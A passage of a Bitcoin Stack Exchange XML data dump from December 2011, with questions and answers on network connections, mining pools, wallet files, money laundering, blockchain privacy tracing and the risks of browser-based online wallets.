known member in the community (if you want to look at him, here is a &lt;a href=&quot;http://www.youtube.com/watch?v=6xH0RqGtC7c&quot; rel=&quot;nofollow&quot;&gt;youtube video&lt;/a&gt;). If he decided to make the project disappear, he would be legally charged for his crime, like it is stated in the &lt;a href=&quot;https://www.casascius.com/faq.aspx&quot; rel=&quot;nofollow&quot;&gt;FAQ&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ultimately, it is up to you to decide if you should trust him or not. Just remember that you are not supposed to buy thousands of these coins (besides, there aren't that many).&lt;/p&gt;&#xA;" OwnerUserId="5" LastActivityDate="2011-12-11T01:35:16.037" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2208" PostTypeId="2" ParentId="2204" CreationDate="2011-12-11T15:45:46.467" Score="7" Body="&lt;p&gt;wrt the suggestion that I put up a website with the name and address of the founder, this information has consistently been displayed on the home page since I put up the site. Agreed, there exists a theoretical possibility that I could scam and there is little anybody can do about that, even if my processes were to be audited, it's still impossible to know I didn't keep a copy somewhere at some moment someone wasn't looking.  On the other hand, I am known to care about the success of Bitcoin, and own a fairly successful payroll software business independent of Bitcoins, and (especially with my signed list of addresses) have the means to be held accountable and be ordered to pay restitution in the event of fraud. If this is unsatisfactory, then of course you should not buy the coins. I indeed hope I spur successful competition (my life career is not in making coins), this has been a neat project thus far. &lt;/p&gt;&#xA;" OwnerUserId="776" LastActivityDate="2011-12-11T15:45:46.467" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2209" PostTypeId="1" AcceptedAnswerId="2210" CreationDate="2011-12-12T00:30:06.060" Score="6" ViewCount="245" Body="&lt;p&gt;&lt;a href=&quot;https://bitcoin.stackexchange.com/a/302/516&quot;&gt;David Schwartz's answer&lt;/a&gt; to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/300/should-i-leave-the-bitcoin-client-open&quot;&gt;this question&lt;/a&gt; states the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;For some reason that isn't well-understood, the Bitcoin peer-to-peer network is consistently short of available inbound connection slots. This makes it more difficult for newly-started clients to establish a resilient connection to the Bitcoin network.&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that still a problem? If so, could it be because of some sort of attack (or selfish behaviour) on the Bitcoin network?&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2011-12-12T00:55:35.767" Title="Is there still a shortage of available inbound connection slots?" Tags="|client|bitcoin-core|network|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2210" PostTypeId="2" ParentId="2209" CreationDate="2011-12-12T00:55:35.767" Score="3" Body="&lt;p&gt;It is due to a lot of people not port forwarding from their routers to their Bitcoin machines. Without the forwarding the client can only make outbound connections to those client that have port forwarding enabled. The limited number of such clients is probably due to people not realizing this need and now knowing how to change their router options.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-12T00:55:35.767" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2211" PostTypeId="1" AcceptedAnswerId="2214" CreationDate="2011-12-12T01:51:50.077" Score="4" ViewCount="109" Body="&lt;p&gt;This would be like using a pool as a wallet service, as you could send a subset of your balance to a retailer to purchase something and avoid running the Bitcoin client app. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Most pools only pay out the complete balance to your specified address, which makes this option unavailable.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Obviously, whether or not it's a good idea depends on how trustworthy the pool operator is, and the sum of BTC at risk.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="5406" LastEditDate="2016-02-02T08:29:00.390" LastActivityDate="2016-02-02T08:29:00.390" Title="Are there any mining pools that allow a specified amount of bitcoins to be sent to a chosen address?" Tags="|mining-pools|e-wallet|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2212" PostTypeId="1" AcceptedAnswerId="2217" CreationDate="2011-12-12T02:20:21.887" Score="3" ViewCount="254" Body="&lt;p&gt;Which operating system would be best for pushpool?&lt;/p&gt;&#xA;" OwnerUserId="778" LastEditorUserId="5406" LastEditDate="2014-08-10T23:40:34.553" LastActivityDate="2014-08-10T23:40:34.553" Title="Which operating system would work best with pushpool?" Tags="|mining-pools|pushpool|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2213" PostTypeId="1" AcceptedAnswerId="2216" CreationDate="2011-12-12T02:55:43.500" Score="7" ViewCount="633" Body="&lt;p&gt;So far I've seen Pushpool, PoolServerJ and P2Pool. Which one of this would be easiest to set-up, maintain, effectiveness, and overall security?&lt;/p&gt;&#xA;" OwnerUserId="778" LastActivityDate="2013-12-26T17:08:15.680" Title="Which is better back-end mining pool?" Tags="|development|mining-pools|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2214" PostTypeId="2" ParentId="2211" CreationDate="2011-12-12T10:06:02.490" Score="1" Body="&lt;p&gt;You can use an online wallet to handle all of your Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The reason you don't want such an option in a pool, is that in case someone steals your password, they can drain your account. This is the reason most pools have a 24h waiting period between when you change your receiving address and being able to send any Bitcoins.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the future someone could potentially make a joined pool and wallet service that will allow you to manage your earned Bitcoins easier, but that is not yet an option (I'm slowly working on it though;) ).&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-12T10:06:02.490" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2215" PostTypeId="1" CreationDate="2011-12-12T10:28:06.193" Score="11" ViewCount="5772" Body="&lt;p&gt;I installed Bitcoin QT yesterday and it was very slow to connect to the network. It didn't actually get there for over an hour.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Today I opened it again and it won't connect to the network at all. Any ideas why?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running a Macbook Air with all software updated.&lt;/p&gt;&#xA;" OwnerUserId="780" LastEditorUserId="323" LastEditDate="2011-12-12T14:55:23.310" LastActivityDate="2019-02-03T11:22:50.663" Title="Bitcoin client won't connect to the network" Tags="|bitcoin-core|network|mac|" AnswerCount="3" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2216" PostTypeId="2" ParentId="2213" CreationDate="2011-12-12T12:40:38.983" Score="5" Body="&lt;p&gt;PoolserverJ seems the best so far and easiest to set up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Pushpool was the original but has some issues. The documentation is also a little hazy if you're a newbie to linux.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P2Pool is a decentralised pool, meaning that if you want to set up your own private pool, you can't use P2Pool.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2011-12-12T12:40:38.983" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2217" PostTypeId="2" ParentId="2212" CreationDate="2011-12-12T12:41:17.217" Score="3" Body="&lt;p&gt;I use debian. But ubuntu or any other *nix OS would be fine.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2011-12-12T12:41:17.217" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2218" PostTypeId="2" ParentId="2215" CreationDate="2011-12-12T13:14:48.863" Score="8" Body="&lt;p&gt;You should get the best results if you port forward port 8333 to your laptop. It is also advised to leave your computer on for a long time the first time you connect to the network, as it has about 1GB of data to download and check. After that the operation should be easier.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-12T13:14:48.863" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2219" PostTypeId="2" ParentId="2215" CreationDate="2011-12-12T15:55:26.207" Score="4" Body="&lt;p&gt;You can &lt;a href=&quot;https://bitcoin.stackexchange.com/a/802/154&quot;&gt;download the blockchain&lt;/a&gt; and hence skip this long lasting initialization step.&lt;/p&gt;&#xA;" OwnerUserId="154" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-12-12T15:55:26.207" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2220" PostTypeId="1" CreationDate="2011-12-12T16:52:31.250" Score="2" ViewCount="291" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;&lt;strong&gt;Possible Duplicate:&lt;/strong&gt;&lt;br&gt;&#xA;  &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/499/what-protection-does-bitcoin-have-against-denial-of-service-dos-attacks&quot;&gt;What protection does Bitcoin have against Denial of Service (DoS) attacks?&lt;/a&gt;  &lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;Assume I am a malicious user, and my goal is to make bitcoin unusable.&#xA;I can simply make millions or even billions small transactions between a few of my accounts. (This for sure can be automated, and these transactions are for sure legit?)&#xA;Since bitcoin tracks every single transactions, is it subjected to DOS attack? &#xA;The size of the transaction table on each client will eventually get huge and impossible to query or performance more tasks???&lt;/p&gt;&#xA;" OwnerUserId="781" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.660" LastActivityDate="2011-12-12T18:34:25.377" Title="Is bitcoin subjected to DOS attack?" Tags="|security|" AnswerCount="1" CommentCount="0" ClosedDate="2011-12-12T18:56:16.773" ContentLicense="CC BY-SA 3.0" />
  <row Id="2221" PostTypeId="2" ParentId="2220" CreationDate="2011-12-12T18:34:25.377" Score="1" Body="&lt;p&gt;The Bitcoin client requires a transaction fee to be paid for low-priority transactions. Transactions of the kind you describe are low-priority, thus the cost of such an attack will be prohibitive.&lt;/p&gt;&#xA;" OwnerUserId="575" LastActivityDate="2011-12-12T18:34:25.377" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2222" PostTypeId="2" ParentId="2215" CreationDate="2011-12-12T19:34:41.390" Score="4" Body="&lt;p&gt;You are probably still not synchronized to the network. When the client first starts up, it doesn't trust anything or anyone. So it has to validate every single thing the Bitcoin network has ever done in order to understand what coins are valid now. This can take 12 hours or so, depending on your connection speed and CPU speed.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-12T19:34:41.390" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2223" PostTypeId="1" CreationDate="2011-12-13T09:18:04.703" Score="6" ViewCount="556" Body="&lt;p&gt;I use BitcoinSharp with C#.net. I try to reading my wallet.dat (dont encrpyt). And some error : &quot;The input stream is not a valid binary format. The starting contents (in bytes) are: 00-00-00-00-01-00-00-00-00-00-00-00-62-31-05-00-09 ..&quot; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Have any Idea ? &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks..&lt;/p&gt;&#xA;" OwnerUserId="783" LastActivityDate="2011-12-13T14:23:57.940" Title="Read wallet.dat error?" Tags="|wallet|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2224" PostTypeId="2" ParentId="175" CreationDate="2011-12-13T12:03:32.160" Score="-2" Body="&lt;p&gt;Avoid online wallet services at all costs! None of them will ever be safer or more secure than holding the private keys yourself.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I recommend either the official Bitcoin client if you don't mind downloading the block chain, or if you have a smartphone, BitcoinSpinner.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;With BitcoinSpinner, you don't have to download the blockchain and the private keys are stored on your phone so your funds are safe and it's really lightweight and easy to use, especially in a business environment for taking payments via QR code.&lt;/p&gt;&#xA;" OwnerUserId="542" LastActivityDate="2011-12-13T12:03:32.160" CommentCount="5" ContentLicense="CC BY-SA 3.0" />
  <row Id="2225" PostTypeId="1" AcceptedAnswerId="2711" CreationDate="2011-12-13T12:48:22.367" Score="5" ViewCount="810" Body="&lt;p&gt;I have BAMT running on my rig but I don't think the email alerts are working, possibly due to a bad config.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would like to use Google's SMTP server if possible (or any other free SMTP provider) but Google's uses TLS, which isn't supported in the BAMT configs I believe, so if this isn't possible (and no other free SMTP servers are available), how would I go about setting up my own SMTP server on the rig?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="542" LastEditorUserId="5406" LastEditDate="2016-02-02T08:27:53.310" LastActivityDate="2016-02-02T08:27:53.310" Title="BAMT Email Alerts Setup" Tags="|miner-configuration|bamt|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2226" PostTypeId="2" ParentId="2223" CreationDate="2011-12-13T14:23:57.940" Score="5" Body="&lt;p&gt;BitcoinSharp does not use the same format that the standard Bitcoin client uses for its wallet file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;BitcoinSharp simply serializes the Wallet object into Binary and writes it to a file whereas the standard Bitcoin client writes its wallet.dat file in a BerkeleyDB format, so the two are not compatible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You could use something like &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot;&gt;pywallet&lt;/a&gt; to export the keys from wallet.dat and then manually add them to BitcoinSharp's Wallet object, but you won't be able to directly read a wallet.dat.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2011-12-13T14:23:57.940" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2228" PostTypeId="1" AcceptedAnswerId="2232" CreationDate="2011-12-13T18:31:14.487" Score="15" ViewCount="3046" Body="&lt;p&gt;I don't have enough knowledge pertaining to the Bitcoin mechanism. Can Bitcoin help people commit money laundering?&lt;/p&gt;&#xA;" OwnerUserId="784" LastEditorUserId="105" LastEditDate="2011-12-17T19:41:45.860" LastActivityDate="2015-01-13T14:00:41.877" Title="Can Bitcoin help people commit money laundering?" Tags="|transactions|fraud|money-laundering|" AnswerCount="8" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2229" PostTypeId="2" ParentId="2228" CreationDate="2011-12-13T19:04:17.073" Score="4" Body="&lt;p&gt;No, Bitcoin does not help anyone do anything, it is just a means of transferring value, which enables people to do anything they want with it. In this sense, it is just like any tangible means of exchange, be it money, gold, art or anything of the sort.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The problem with Bitcoins though is that you have to obtain it in the first place, and currently one either needs to mine it (by buying a lot of hardware), or buy it from someone, usually online, which is more traceable. Moreover, all transactions in the Bitcoin network are transparent (anyone can see them), so if you find out who owns the addresses, you can check how much Bitcoins they have moved between one another.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In the end, whereas the anonymity of Bitcoin might be alluring to someone wanting to launder money, there are new problems they have to keep in mind when attempting to do that.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-13T19:04:17.073" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2230" PostTypeId="1" AcceptedAnswerId="2231" CreationDate="2011-12-13T19:12:11.593" Score="8" ViewCount="261" Body="&lt;p&gt;Since &lt;a href=&quot;https://www.bitcoinica.com/&quot; rel=&quot;nofollow&quot;&gt;Bitcoinica&lt;/a&gt; has been released I've been reading a bit about Forex. But i don't know what the superscript number refers to in the price quotes on the front page. How is this number calculated and what does it indicate? Or are they just simply pips?&lt;/p&gt;&#xA;" OwnerUserId="136" LastEditorUserId="105" LastEditDate="2011-12-15T20:26:52.667" LastActivityDate="2011-12-15T20:26:52.667" Title="What is the superscript number in Bitcoinica prices?" Tags="|trading|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2231" PostTypeId="2" ParentId="2230" CreationDate="2011-12-13T19:47:14.457" Score="6" Body="&lt;p&gt;These are indeed pips, according to &lt;a href=&quot;https://bitcointalk.org/index.php?topic=42267.msg553985#msg553985&quot; rel=&quot;nofollow&quot;&gt;this comment&lt;/a&gt; by Bitcoinica's owner. That is, they are just an extra digit denoting multiplies of 0.00001 USD.&lt;/p&gt;&#xA;" OwnerUserId="575" LastEditorUserId="575" LastEditDate="2011-12-15T08:48:49.263" LastActivityDate="2011-12-15T08:48:49.263" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2232" PostTypeId="2" ParentId="2228" CreationDate="2011-12-13T20:47:35.150" Score="16" Body="&lt;p&gt;Since the vast majority of money launderers seem to prefer cash, I'd say the answer is no. At least, not yet. The way money laundering works is that you hide illegitimate transactions in a sea of legitimate transactions. There are a vast sea of legitimate cash transactions which makes money laundering in cash work well. Until there are some high-volume Bitcoin businesses, there will be nothing to hide illegitimate transactions with.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even if the idea is to buy Bitcoins with dirty cash, sell them at an exchange, and claim you bought them really cheap and held them for a long time -- where can you buy large numbers of Bitcoins anonymously for cash?&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="2995" LastEditDate="2015-01-13T11:11:37.363" LastActivityDate="2015-01-13T11:11:37.363" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2233" PostTypeId="2" ParentId="2177" CreationDate="2011-12-14T01:00:12.590" Score="9" Body="&lt;p&gt;As explained by &lt;a href=&quot;https://bitcointalk.org/index.php?topic=54451.msg649253#msg649253&quot; rel=&quot;noreferrer&quot;&gt;Gavin Andersen on the forum&lt;/a&gt; - in order to calculate the ID hash of the Tx that is used in the Merkle Tree, one needs to SHA hash &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;noreferrer&quot;&gt;the whole Tx message&lt;/a&gt; as defined in &lt;a href=&quot;https://en.bitcoin.it/wiki/Protocol_specification#tx&quot; rel=&quot;noreferrer&quot;&gt;the Protocol Specification wiki page&lt;/a&gt; twice.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, for the only Tx from the &lt;a href=&quot;http://blockexplorer.com/block/000000000019d6689c085ae165831e934ff763ae46a2a6c172b3f1b60a8ce26f&quot; rel=&quot;noreferrer&quot;&gt;Genesis Block&lt;/a&gt; one would double hash the following array of bytes:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;01000000010000000000000000000000000000000000000000000000000000000000000000FFFFFFFF4D04FFFF001D0104455468652054696D65732030332F4A616E2F32303039204368616E63656C6C6F72206F6E206272696E6B206F66207365636F6E64206261696C6F757420666F722062616E6B73FFFFFFFF0100F2052A01000000434104678AFDB0FE5548271967F1A67130B7105CD6A828E03909A67962E0EA1F61DEB649F6BC3F4CEF38C4F35504E51EC112DE5C384DF7BA0B8D578A4C702B6BF11D5FAC00000000&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And if double hashed correctly, it would give the following hash:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://blockexplorer.com/tx/4a5e1e4baab89f3a32518a88c31bc87f618f76673e2cc77ab2127b7afdeda33b&quot; rel=&quot;noreferrer&quot;&gt;4A5E1E4BAAB89F3A32518A88C31BC87F618F76673E2CC77AB2127B7AFDEDA33B&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-14T01:00:12.590" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="2235" PostTypeId="1" CreationDate="2011-12-14T21:08:33.170" Score="17" ViewCount="27645" Body="&lt;p&gt;I have used &lt;a href=&quot;https://blockexplorer.com/tx/68c8743419030cba67e56e1c4104cf0e49c4ec191ed1c0ea87fa666132188fce#i3062073&quot;&gt;this transaction&lt;/a&gt; to donate to Wikileaks. I have applied no special techniques to obsure my identity. How much information can find out about me on the blockchain. What tools would you use?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Can you guess the following information? Can you prove it?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;How did I get the bitcoins I was donating?&lt;/li&gt;&#xA;&lt;li&gt;What else did I use my bitcoins for?&lt;/li&gt;&#xA;&lt;li&gt;What was my total bitcoin balance at a given time?&lt;/li&gt;&#xA;&lt;li&gt;What wallet am I using?&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Please try not to violate other people's right to privacy.&lt;/p&gt;&#xA;" OwnerUserId="350" LastActivityDate="2017-02-10T13:21:34.560" Title="Knowing a single transaction can you track down a Bitcoin user?" Tags="|transactions|blockchain|privacy|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2236" PostTypeId="1" CreationDate="2011-12-14T21:30:32.657" Score="8" ViewCount="958" Body="&lt;p&gt;It is a common question, how to &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/490/can-i-use-my-wallet-on-different-computers&quot;&gt;sync a wallet across different devices&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As far as I understand, a wallet is just a collection of private keys. Each private key can be uniquely identified using the bitcoin address associated with the key. Thus, why don't we think of wallet.dat as if it was a directory:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Filename     File Content&#xA;=Address     =Private Key&#xA;&#xA;1HB5XMLmzFV  8ALj6mfBsbifRo&#xA;...          ...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, syncing such a directory is trivial. If the filename (address) matches, the file is identical and does not need to be synced. If a filename is only present on one side, just copy the file, it's a new address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is something like this going to be implemented in a future client version? Or is my idea faulty?&lt;/p&gt;&#xA;" OwnerUserId="350" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.610" LastActivityDate="2012-03-27T04:58:04.167" Title="(Why) is it difficult to merge and split wallet.dat?" Tags="|wallet|bitcoin-core|" AnswerCount="3" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2237" PostTypeId="2" ParentId="1106" CreationDate="2011-12-14T21:50:33.147" Score="0" Body="&lt;p&gt;The full-features derivatives exchange is being built, it's called ICBIT Stock Exchange.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin forums thread: &lt;a href=&quot;https://bitcointalk.org/index.php?topic=50817.0&quot; rel=&quot;nofollow&quot;&gt;https://bitcointalk.org/index.php?topic=50817.0&lt;/a&gt;&#xA;Website: &lt;a href=&quot;https://icbit.se&quot; rel=&quot;nofollow&quot;&gt;https://icbit.se&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="786" LastActivityDate="2011-12-14T21:50:33.147" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2238" PostTypeId="2" ParentId="2236" CreationDate="2011-12-14T22:28:35.473" Score="1" Body="&lt;p&gt;The ability to import and export keys is in the works, with several forks in the Github project trying out various methods. One of them will eventually be selected and make its way into the official client. Until then we're reliant on tools like &lt;a href=&quot;https://github.com/jackjack-jj/pywallet&quot; rel=&quot;nofollow noreferrer&quot;&gt;pywallet&lt;/a&gt; to import and export keys.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;As for the directory concept, the wallet.dat file stores this information in a BerkeleyDB format, as well as a transactions list. I can see the potential benefits, though there are likely downsides that I've not considered and I'm certainly not qualified to speak to the mindset of the developers. Perhaps you'll get lucky though, at least &lt;a href=&quot;https://bitcoin.stackexchange.com/users/53/gavinandresen&quot;&gt;one&lt;/a&gt; big name from the Bitcoin devs has been known to frequent these parts.&lt;/p&gt;&#xA;" OwnerUserId="22" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:33.583" LastActivityDate="2011-12-14T22:28:35.473" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2239" PostTypeId="2" ParentId="2236" CreationDate="2011-12-14T23:05:55.540" Score="0" Body="&lt;p&gt;The problem is that the client software assumes it owns all of the accounts and doesn't care which accounts hold the actual funds. So, if you have 35 bitcoins, they may spread in 3 accounts that you know about and 4 internal &quot;change&quot; accounts. Or you may think of 10 bitcoins as being in one program account and 15 in another program account while all 35 bitcoins are actually in one bitcoin account.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;In addition, if the same account were running on two different machines, they may submit conflicting transactions. This would be considered malicious by the recipients.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2011-12-14T23:05:55.540" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="2240" PostTypeId="1" AcceptedAnswerId="2243" CreationDate="2011-12-15T02:52:50.360" Score="17" ViewCount="6232" Body="&lt;p&gt;&lt;a href=&quot;https://strongcoin.com/&quot; rel=&quot;noreferrer&quot;&gt;Strongcoin&lt;/a&gt; claims it is &amp;quot;The Safest way to store your Bitcoins. The only Bitcoin e-wallet service that's not vulnerable to security breaches. Your Bitcoin keys are encrypted in the browser.&amp;quot;&lt;/p&gt;&#xA;&lt;p&gt;As I understand it, with their system your private keys are essentially encrypted by your browser before they are sent to the website. They also appear to have a method of creating an encrypted paper copy of your wallet so you can restore your wallet if the website disappears.&lt;/p&gt;&#xA;&lt;p&gt;Even so, it seems you're still potentially vulnerable if you access your wallet from an infected computer (i.e. through keystroke loggers and more advanced logging techniques).&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;What other risks are there in using such a service?&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;Note: I have not used Strongcoin, and have no affiliation with them in any way.&lt;/p&gt;&#xA;" OwnerUserId="516" LastEditorUserId="-1" LastEditDate="2020-06-16T11:10:03.350" LastActivityDate="2020-12-22T14:30:18.350" Title="What are the risks of using Strongcoin.com as an online wallet?" Tags="|wallet|attack|e-wallet|wallet-security|" AnswerCount="4" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2241" PostTypeId="2" ParentId="2235" CreationDate="2011-12-15T11:16:37.040" Score="9" Body="&lt;ul&gt;&#xA;&lt;li&gt;Knowing the &lt;a href=&quot;https://blockexplorer.com/address/1HB5XMLmzFVj8ALj6mfBsbifRoD4miY36v&quot;&gt;Wikileaks donation address&lt;/a&gt;, one knows every address&#xA;that contributed to them.&lt;/li&gt;&#xA;&lt;li&gt;Knowing a given address we are interested in, we can try tracing the coins back to when they were created (which can be harder if they&#xA;were mined by a large pool, in that case you'd probably get a lot of&#xA;origin blocks).&lt;/li&gt;&#xA;&lt;li&gt;Given an address we know when it received coins and from what address.&lt;/li&gt;&#xA;&lt;li&gt;If the particular wallet contained more than one receiving address, sometimes the addresses would be used together. If you have more than one address in the &quot;From address&quot;, you know the person had to have them together in on wallet.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;And now a bit of knowledge one can gain from outside the Block Chain:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;A lot of people put notes like &quot;My Bitcoin Address is: 1HWbVLhxj7bhewhyapMZpyhqWAeAhJd51E&quot; in places like the forum. Then you can link the addresses to particular nicknames, and in some cases emails, names, facebook pages and so forth. If you use one address for everything, one can know if you contributed to Wikileaks, or other known addresses.&lt;/li&gt;&#xA;&lt;li&gt;If one would have a big node in the Bitcoin Network that by chance would be connected to your Client when it sends transactions using the known addresses, one could potentially trace the IP of your computer. If you have a static IP, this can identify you.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So all in all, with enough resources, time and determination, one can know quite a lot about a given Bitcoin address. A lot of it can be mitigated with enough diligence, but some of methods might be quite hard.&lt;/p&gt;&#xA;" OwnerUserId="323" LastActivityDate="2011-12-15T11:16:37.040" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="2242" PostTypeId="2" ParentId="2235" CreationDate="2011-12-15T11:36:25.540" Score="4" Body="&lt;p&gt;You can use the 'Address balance sheet' tool at &lt;a href=&quot;http://blockchain.info/address-balance-sheet&quot; rel=&quot;nofollow&quot;&gt;http://blockchain.info/address-balance-sheet&lt;/a&gt; and add the addresses associated with the transaction whose owner you are trying to identify. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example for the &lt;a href=&quot;http://blockchain.info/address-balance-sheet?address=1FoppNtyKxjB1gxFBiWXgir4cJACSAszoL&amp;amp;address=1GSY2UdwKGrFXRytXDULwyEbjuKzRdFBbG&amp;amp;&quot; rel=&quot;nofollow&quot;&gt;transaction you mentioned&lt;/a&gt; most common ip is &lt;a href=&quot;http://whatismyipaddress.com/ip/109.201.253.77&quot; rel=&quot;nofollow&quot;&gt;109.201.253.77&lt;/a&gt; from Dnepropetrovsk, Ukrane. It is not always accurate but if you have enough addresses patterns can emerge, is this correct?&lt;/p&gt;&#xA;" OwnerDisplayName="user418" LastEditorDisplayName="user418" LastEditDate="2011-12-15T12:15:31.857" LastActivityDate="2011-12-15T12:15:31.857" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="2243" PostTypeId="2" ParentId="2240" CreationDate="2011-12-15T12:01:39.060" Score="20" Body="&lt;p&gt;I am the operator of &lt;a href=&quot;https://blockchain.info/wallet&quot;&gt;My Wallet&lt;/a&gt; which is a similar javascript based wallet service. I will try and keep this answer as impartial as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The Website Owner is Malicious&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;The website operator is free to change the javascript code at any time so if they are so inclined can change the code to uploaded your unencrypted keys or intercept your password. &lt;em&gt;If you do not trust the site owner it is therefore not recommended you use such a service.&lt;/em&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The website database is leaked&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Assuming the site has been programmed correctly in the event of a database leak only your encrypted keys will be leaked. The attacker maybe able to brute force your password if it is not secure enough, but as long as users are made aware of the leak they will have enough time to move their coins to new addresses.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;The website server is 